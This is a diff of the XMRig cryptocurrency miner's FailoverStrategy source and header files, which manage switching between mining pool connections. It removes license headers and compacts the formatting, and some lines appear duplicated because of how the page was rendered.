* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "interfaces/IStrategyListener.h" #include "interfaces/IStrategyListener.h"
#include "net/Client.h" #include "net/Client.h"
#include "net/strategies/FailoverStrategy.h" #include "net/strategies/FailoverStrategy.h"
#include "Options.h" #include "Options.h"
FailoverStrategy::FailoverStrategy(const std::vector<Url*> &urls, const char *agent, IStrategyListener *listener) : FailoverStrategy::FailoverStrategy(const std::vector<Url*> &urls, const char *agent, IStrategyListener *listener) :
m_active(-1), m_active(-1),
m_index(0), m_index(0),
@ -37,112 +11,55 @@ FailoverStrategy::FailoverStrategy(const std::vector<Url*> &urls, const char *ag
add(url, agent); add(url, agent);
} }
} }
int64_t FailoverStrategy::submit(const JobResult &result) { return m_pools[m_active]->submit(result); }
void FailoverStrategy::connect() { m_pools[m_index]->connect(); }
int64_t FailoverStrategy::submit(const JobResult &result)
{
return m_pools[m_active]->submit(result);
}
void FailoverStrategy::connect()
{
m_pools[m_index]->connect();
}
void FailoverStrategy::resume() void FailoverStrategy::resume()
{ {
if (!isActive()) { if (!isActive()) { return; }
return;
}
m_listener->onJob( m_pools[m_active], m_pools[m_active]->job()); m_listener->onJob( m_pools[m_active], m_pools[m_active]->job());
} }
void FailoverStrategy::stop() void FailoverStrategy::stop()
{ {
for (size_t i = 0; i < m_pools.size(); ++i) { for (size_t i = 0; i < m_pools.size(); ++i) { m_pools[i]->disconnect(); }
m_pools[i]->disconnect();
}
m_index = 0; m_index = 0;
m_active = -1; m_active = -1;
m_listener->onPause(this); m_listener->onPause(this);
} }
void FailoverStrategy::tick(uint64_t now) void FailoverStrategy::tick(uint64_t now)
{ {
for (Client *client : m_pools) { for (Client *client : m_pools) { client->tick(now); }
client->tick(now);
} }
}
void FailoverStrategy::onClose(Client *client, int failures) void FailoverStrategy::onClose(Client *client, int failures)
{ {
if (failures == -1) { if (failures == -1) { return; }
return;
}
if (m_active == client->id()) { if (m_active == client->id()) {
m_active = -1; m_active = -1;
m_listener->onPause(this); m_listener->onPause(this);
} }
if (m_index == 0 && failures < Options::i()->retries()) { return; }
if (m_index == 0 && failures < Options::i()->retries()) { if (m_index == client->id() && (m_pools.size() - m_index) > 1) { m_pools[++m_index]->connect(); }
return;
} }
if (m_index == client->id() && (m_pools.size() - m_index) > 1) {
m_pools[++m_index]->connect();
}
}
void FailoverStrategy::onJobReceived(Client *client, const Job &job) void FailoverStrategy::onJobReceived(Client *client, const Job &job)
{ {
if (m_active == client->id()) { if (m_active == client->id()) { m_listener->onJob(client, job); }
m_listener->onJob(client, job);
} }
}
void FailoverStrategy::onLoginSuccess(Client *client) void FailoverStrategy::onLoginSuccess(Client *client)
{ {
int active = m_active; int active = m_active;
if (client->id() == 0 || !isActive()) { active = client->id(); }
if (client->id() == 0 || !isActive()) {
active = client->id();
}
for (size_t i = 1; i < m_pools.size(); ++i) { for (size_t i = 1; i < m_pools.size(); ++i) {
if (active != static_cast<int>(i)) { if (active != static_cast<int>(i)) { m_pools[i]->disconnect(); }
m_pools[i]->disconnect();
} }
}
if (active >= 0 && active != m_active) { if (active >= 0 && active != m_active) {
m_index = m_active = active; m_index = m_active = active;
m_listener->onActive(client); m_listener->onActive(client);
} }
} }
void FailoverStrategy::onResultAccepted(Client *client, const SubmitResult &result, const char *error) { m_listener->onResultAccepted(client, result, error); }
void FailoverStrategy::onResultAccepted(Client *client, const SubmitResult &result, const char *error)
{
m_listener->onResultAccepted(client, result, error);
}
void FailoverStrategy::add(const Url *url, const char *agent) void FailoverStrategy::add(const Url *url, const char *agent)
{ {
Client *client = new Client((int) m_pools.size(), agent, this); Client *client = new Client((int) m_pools.size(), agent, this);
client->setUrl(url); client->setUrl(url);
client->setRetryPause(Options::i()->retryPause() * 1000); client->setRetryPause(Options::i()->retryPause() * 1000);
m_pools.push_back(client); m_pools.push_back(client);
} }

View file

@ -1,37 +1,8 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __FAILOVERSTRATEGY_H__ #ifndef __FAILOVERSTRATEGY_H__
#define __FAILOVERSTRATEGY_H__ #define __FAILOVERSTRATEGY_H__
#include <vector> #include <vector>
#include "interfaces/IClientListener.h" #include "interfaces/IClientListener.h"
#include "interfaces/IStrategy.h" #include "interfaces/IStrategy.h"
class Client; class Client;
class IStrategyListener; class IStrategyListener;
class Url; class Url;

Some files were not shown because too many files have changed in this diff Show more